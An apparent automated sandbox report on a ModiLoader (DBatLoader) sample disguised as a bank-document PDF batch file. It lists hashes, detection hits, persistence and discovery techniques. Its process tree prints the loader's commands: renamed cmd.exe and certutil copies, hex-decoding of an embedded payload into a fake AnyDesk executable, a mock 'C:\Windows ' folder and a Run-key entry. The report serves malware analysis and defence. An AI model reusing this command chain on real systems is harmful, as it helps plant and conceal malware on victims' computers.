modiloader | 5d8e6414c7ee9bf8b314ceb9b2947743d97f5ca6eea088386d9d0dbe2c8c04bf

Analysis

max time kernel
150s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19-11-2024 14:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

USD470900_COPY_800BLHSBC882001.PDF.bat
Size

3.2MB
MD5

c96743116088d21b52516f16f4866f69
SHA1

9b9d500993f74ed975945419b6a25c03e80d8400
SHA256

58348cc94b984ca026fa0a319b93ac988a394ed3d5ec39c01c47a8e762ebdb16
SHA512

1a7520b8de10e9fb71f18f22287e298f25743a26ea946e71fb3b895bb8679f86986fe2b0ec30a0d7589cd85af404eca27d8ccf2a47f895f9c166c55660a8edd0
SSDEEP

24576:PdLbg3tuCmhfOs2TLie3m0nKaf5ohA87eR4xGVPTXJF7wb2l+qCWuj8lzoQjJpcp:PR03turhfwL8uJFlEoNZHk

Score

10^/10

modiloader discovery persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modiloader family
modiloader

ModiLoader Second Stage 61 IoCs

resource	yara_rule
behavioral2/memory/840-29-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-33-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-34-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-36-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-38-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-39-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-52-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-46-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-51-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-45-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-50-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-44-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-43-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-42-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-41-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-40-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-37-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-35-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-49-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-60-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-71-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-59-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-58-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-72-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-80-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-97-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-92-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-105-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-79-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-103-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-78-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-101-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-77-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-99-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-98-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-96-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-75-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-94-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-74-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-95-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-73-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-91-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-70-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-69-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-67-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-66-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-64-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-76-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-63-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-62-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-93-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-68-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-57-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-56-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-55-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-65-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-61-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-48-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-54-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-53-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2
behavioral2/memory/840-47-0x0000000002E30000-0x0000000003E30000-memory.dmp	modiloader_stage2

Executes dropped EXE 12 IoCs

pid	Process
3948	alpha.exe
2108	alpha.exe
876	kn.exe
4308	alpha.exe
2020	kn.exe
840	AnyDesk.PIF
3496	alpha.exe
2952	alpha.exe
3348	alpha.pif
4352	alpha.pif
4320	alpha.pif
4336	xpha.pif

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Faogvkgh = "C:\\Users\\Public\\Faogvkgh.url"	AnyDesk.PIF

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	alpha.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	alpha.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xpha.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	colorcpl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.PIF
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	alpha.pif

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3256	esentutl.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: MapViewOfSection 64 IoCs

pid	Process
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe
4572	colorcpl.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4856 wrote to memory of 2864	4856	cmd.exe	84
PID 4856 wrote to memory of 2864	4856	cmd.exe	84
PID 4856 wrote to memory of 3948	4856	cmd.exe	85
PID 4856 wrote to memory of 3948	4856	cmd.exe	85
PID 3948 wrote to memory of 4472	3948	alpha.exe	86
PID 3948 wrote to memory of 4472	3948	alpha.exe	86
PID 4856 wrote to memory of 2108	4856	cmd.exe	87
PID 4856 wrote to memory of 2108	4856	cmd.exe	87
PID 2108 wrote to memory of 876	2108	alpha.exe	88
PID 2108 wrote to memory of 876	2108	alpha.exe	88
PID 4856 wrote to memory of 4308	4856	cmd.exe	89
PID 4856 wrote to memory of 4308	4856	cmd.exe	89
PID 4308 wrote to memory of 2020	4308	alpha.exe	90
PID 4308 wrote to memory of 2020	4308	alpha.exe	90
PID 4856 wrote to memory of 840	4856	cmd.exe	93
PID 4856 wrote to memory of 840	4856	cmd.exe	93
PID 4856 wrote to memory of 840	4856	cmd.exe	93
PID 4856 wrote to memory of 3496	4856	cmd.exe	94
PID 4856 wrote to memory of 3496	4856	cmd.exe	94
PID 4856 wrote to memory of 2952	4856	cmd.exe	96
PID 4856 wrote to memory of 2952	4856	cmd.exe	96
PID 840 wrote to memory of 3928	840	AnyDesk.PIF	109
PID 840 wrote to memory of 3928	840	AnyDesk.PIF	109
PID 840 wrote to memory of 3928	840	AnyDesk.PIF	109
PID 3928 wrote to memory of 4116	3928	cmd.exe	111
PID 3928 wrote to memory of 4116	3928	cmd.exe	111
PID 3928 wrote to memory of 4116	3928	cmd.exe	111
PID 3928 wrote to memory of 3256	3928	cmd.exe	112
PID 3928 wrote to memory of 3256	3928	cmd.exe	112
PID 3928 wrote to memory of 3256	3928	cmd.exe	112
PID 3928 wrote to memory of 3348	3928	cmd.exe	113
PID 3928 wrote to memory of 3348	3928	cmd.exe	113
PID 3928 wrote to memory of 3348	3928	cmd.exe	113
PID 3928 wrote to memory of 4352	3928	cmd.exe	114
PID 3928 wrote to memory of 4352	3928	cmd.exe	114
PID 3928 wrote to memory of 4352	3928	cmd.exe	114
PID 3928 wrote to memory of 4320	3928	cmd.exe	115
PID 3928 wrote to memory of 4320	3928	cmd.exe	115
PID 3928 wrote to memory of 4320	3928	cmd.exe	115
PID 4320 wrote to memory of 4336	4320	alpha.pif	116
PID 4320 wrote to memory of 4336	4320	alpha.pif	116
PID 4320 wrote to memory of 4336	4320	alpha.pif	116
PID 840 wrote to memory of 1688	840	AnyDesk.PIF	117
PID 840 wrote to memory of 1688	840	AnyDesk.PIF	117
PID 840 wrote to memory of 1688	840	AnyDesk.PIF	117
PID 840 wrote to memory of 4572	840	AnyDesk.PIF	118
PID 840 wrote to memory of 4572	840	AnyDesk.PIF	118
PID 840 wrote to memory of 4572	840	AnyDesk.PIF	118
PID 840 wrote to memory of 4572	840	AnyDesk.PIF	118
PID 4572 wrote to memory of 2648	4572	colorcpl.exe	124
PID 4572 wrote to memory of 2648	4572	colorcpl.exe	124
PID 4572 wrote to memory of 2648	4572	colorcpl.exe	124
PID 4572 wrote to memory of 4512	4572	colorcpl.exe	125
PID 4572 wrote to memory of 4512	4572	colorcpl.exe	125
PID 4572 wrote to memory of 4512	4572	colorcpl.exe	125
PID 4572 wrote to memory of 848	4572	colorcpl.exe	126
PID 4572 wrote to memory of 848	4572	colorcpl.exe	126
PID 4572 wrote to memory of 848	4572	colorcpl.exe	126
PID 4572 wrote to memory of 4024	4572	colorcpl.exe	127
PID 4572 wrote to memory of 4024	4572	colorcpl.exe	127
PID 4572 wrote to memory of 4024	4572	colorcpl.exe	127
PID 4572 wrote to memory of 4928	4572	colorcpl.exe	128
PID 4572 wrote to memory of 4928	4572	colorcpl.exe	128
PID 4572 wrote to memory of 4928	4572	colorcpl.exe	128

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\USD470900_COPY_800BLHSBC882001.PDF.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4856
- C:\Windows\System32\extrac32.exe
  C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
  2⤵
  PID:2864
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3948
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
    3⤵
    PID:4472
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\USD470900_COPY_800BLHSBC882001.PDF.bat" "C:\\Users\\Public\\AnyDesk.jpeg" 9
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2108
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\USD470900_COPY_800BLHSBC882001.PDF.bat" "C:\\Users\\Public\\AnyDesk.jpeg" 9
    3⤵
    - Executes dropped EXE
    PID:876
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4308
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
    3⤵
    - Executes dropped EXE
    PID:2020
- C:\Users\Public\Libraries\AnyDesk.PIF
  C:\Users\Public\Libraries\AnyDesk.PIF
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:840
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\hgkvgoaF.cmd" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3928
  - - C:\Windows\SysWOW64\esentutl.exe
      C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
      4⤵
      PID:4116
  - - C:\Windows\SysWOW64\esentutl.exe
      C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:3256
  - - C:\Users\Public\alpha.pif
      C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3348
  - - C:\Users\Public\alpha.pif
      C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4352
  - - C:\Users\Public\alpha.pif
      C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4320
    - - C:\Users\Public\xpha.pif
        
        C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4336
- - C:\Windows\SysWOW64\esentutl.exe
    C:\\Windows\\System32\\esentutl.exe /y C:\Users\Public\Libraries\AnyDesk.PIF /d C:\\Users\\Public\\Libraries\\Faogvkgh.PIF /o
    3⤵
    PID:1688
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\System32\colorcpl.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:4572
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2648
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4512
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:848
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4024
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4928
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2292
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4020
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1680
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4824
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2916
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:764
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4484
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2172
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1404
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3536
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4840
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:436
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2396
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1376
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2944
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1564
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2692
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1188
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3112
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1468
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4892
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1428
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4340
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1344
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3800
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1896
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5044
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2724
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3848
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1180
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4796
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3068
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:440
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4664
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2288
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:116
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2256
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4488
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1536
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4888
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3784
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3188
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:1956
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:980
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3248
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4276
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2180
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2108
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4784
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:4208
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:3916
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2376
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:2360
